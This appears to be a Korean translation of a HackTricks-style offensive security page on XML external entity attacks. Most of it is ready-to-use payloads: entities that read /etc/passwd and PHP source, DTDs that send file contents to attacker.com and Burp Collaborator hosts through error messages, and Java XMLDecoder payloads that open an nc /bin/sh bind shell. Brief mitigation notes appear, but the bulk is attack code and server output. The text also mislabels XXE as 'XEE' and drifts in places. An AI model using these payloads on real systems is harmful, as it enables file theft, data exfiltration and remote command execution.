XEE 공격은 주로 SOAP 메시지의 XML 본문에 악의적인 엔터티를 삽입하여 수행됩니다. 이러한 악의적인 엔터티는 외부 파일을 참조하거나 원격 서버에 요청을 보낼 수 있습니다. 이를 통해 공격자는 시스템의 기밀 정보를 탈취하거나 원격 코드 실행을 수행할 수 있습니다.

XEE 공격의 예

다음은 XEE 공격의 예입니다.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

위의 예제에서는 xxe 엔터티를 사용하여 /etc/passwd 파일을 참조하고 있습니다. 이를 통해 공격자는 시스템의 사용자 정보를 탈취할 수 있습니다.

XEE 공격 방지하기

XEE 공격을 방지하기 위해 다음과 같은 조치를 취할 수 있습니다.

  • 외부 엔터티 참조 비활성화: XML 파서에서 외부 엔터티 참조를 비활성화하여 공격을 방지할 수 있습니다.
  • 입력 유효성 검사: SOAP 메시지의 XML 본문을 검사하여 악의적인 엔터티를 필터링할 수 있습니다.
  • 보안 업데이트: 사용 중인 SOAP 프레임워크나 라이브러리의 보안 업데이트를 적용하여 알려진 XEE 취약점을 해결할 수 있습니다.

XEE 공격은 SOAP 프로토콜을 사용하는 애플리케이션에서 주의해야 할 중요한 보안 취약점입니다. 이러한 공격을 방지하기 위해 적절한 보안 조치를 취하는 것이 중요합니다.

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

이 예제는 https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe에서 영감을 받았습니다.

XLIFF (XML Localization Interchange File Format)는 로컬라이제이션 프로세스에서 데이터 교환을 표준화하는 데 사용됩니다. 주로 로컬라이제이션 도구 간에 로컬라이즈 가능한 데이터를 전송하고 CAT (Computer-Aided Translation) 도구의 공통 교환 형식으로 사용되는 XML 기반 형식입니다.

블라인드 요청 분석

다음 내용으로 서버에 요청이 전송됩니다:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

그러나 이 요청은 내부 서버 오류를 발생시키며, 특히 마크업 선언에 문제가 있다고 명시합니다:

{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}

오류에도 불구하고, Burp Collaborator에 기록된 히트는 외부 엔티티와의 상호작용 수준을 나타냅니다.

외부 데이터 유출을 위해 수정된 요청이 전송됩니다:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

이 접근 방식은 User Agent가 Java 1.8을 사용한다는 것을 나타냅니다. 이 Java 버전의 주목할 만한 제한 사항은 /etc/passwd와 같은 개행 문자를 포함하는 파일을 Out of Band 기법을 사용하여 검색할 수 없다는 것입니다.

오류 기반 데이터 유출 이 제한을 극복하기 위해 오류 기반 접근 방식을 사용합니다. DTD 파일은 다음과 같이 구성되어 있어 대상 파일에서 데이터를 포함한 오류를 유발합니다:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

서버는 오류로 응답하며, 존재하지 않는 파일을 반영하고 있으며, 서버가 지정된 파일에 액세스하려고 시도하고 있음을 나타냅니다:

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

에러 메시지에 파일의 내용을 포함하기 위해 DTD 파일을 조정합니다:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

이 수정은 파일의 내용이 성공적으로 유출되도록 하며, 이는 HTTP를 통해 전송된 오류 출력에 반영됩니다. 이는 민감한 정보를 추출하기 위해 Out of Band 및 Error-Based 기법을 활용한 성공적인 XXE (XML External Entity) 공격을 나타냅니다.

RSS - XEE

XXE 취약점을 이용하기 위한 유효한 XML 형식의 RSS입니다.

Ping back

공격자 서버로의 간단한 HTTP 요청

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

파일 읽기

XML 외부 엔티티(XXE) 공격은 악의적인 XML 엔티티를 이용하여 서버에서 파일을 읽는 기법입니다. 이 공격은 XML 파서가 외부 엔티티를 해석할 수 있는 기능을 가지고 있을 때 발생할 수 있습니다.

이 공격을 수행하기 위해서는 다음과 같은 단계를 따라야 합니다:

  1. 취약한 XML 파서를 식별합니다.
  2. 외부 엔티티를 정의하는 악의적인 XML 페이로드를 작성합니다.
  3. 악의적인 XML 페이로드를 서버에 전송하여 파일을 읽습니다.

파일을 읽기 위해 사용되는 엔티티는 다음과 같습니다:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>

위의 예시에서는 /etc/passwd 파일을 읽기 위해 xxe 엔티티를 사용하고 있습니다. 이 엔티티는 file:/// 접두사를 사용하여 로컬 파일 시스템에 접근합니다.

XXE 공격은 서버에서 중요한 정보를 노출시킬 수 있으므로, 개발자는 외부 엔티티 해석 기능을 비활성화하거나 안전한 XML 파서를 사용해야 합니다.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

소스 코드 읽기

PHP base64 필터 사용하기

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE to RCE

XMLDecoder는 XML 메시지를 기반으로 객체를 생성하는 Java 클래스입니다. 악의적인 사용자가 애플리케이션이 readObject 메소드를 호출할 때 임의의 데이터를 사용하도록 할 수 있다면, 그 즉시 서버에서 코드 실행 권한을 얻을 수 있습니다.

Runtime().exec() 사용하기

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>

ProcessBuilder

ProcessBuilder는 외부 프로세스를 생성하고 제어하는 데 사용되는 Java 클래스입니다. 이 클래스를 사용하여 운영 체제의 명령어를 실행하고 결과를 가져올 수 있습니다. 이는 웹 애플리케이션 펜테스팅에서 유용하게 사용될 수 있습니다.

ProcessBuilder를 사용하여 외부 프로세스를 실행하는 방법은 다음과 같습니다.

ProcessBuilder processBuilder = new ProcessBuilder(command);
Process process = processBuilder.start();

여기서 command는 실행할 명령어를 나타내는 문자열입니다. 이 명령어는 운영 체제에 의해 실행될 것이며, 결과는 Process 객체를 통해 얻을 수 있습니다.

ProcessBuilder를 사용하여 외부 프로세스를 실행할 때 주의해야 할 몇 가지 사항이 있습니다. 첫째, 사용자 입력을 외부 프로세스에 전달할 때는 주의해야 합니다. 사용자 입력을 외부 프로세스에 직접 전달하면 명령어 인젝션 취약점이 발생할 수 있습니다. 따라서 사용자 입력을 안전하게 처리해야 합니다.

둘째, 외부 프로세스의 실행 결과를 처리할 때는 결과를 신뢰할 수 있는지 확인해야 합니다. 외부 프로세스의 결과를 신뢰하지 않고 사용하는 경우, 악의적인 코드 실행이나 시스템 정보 노출과 같은 보안 문제가 발생할 수 있습니다.

ProcessBuilder를 사용하여 외부 프로세스를 실행할 때는 이러한 주의 사항을 염두에 두고 안전한 방식으로 사용해야 합니다.

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>

도구

{% embed url="https://github.com/luisfontes19/xxexploiter" %}

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법: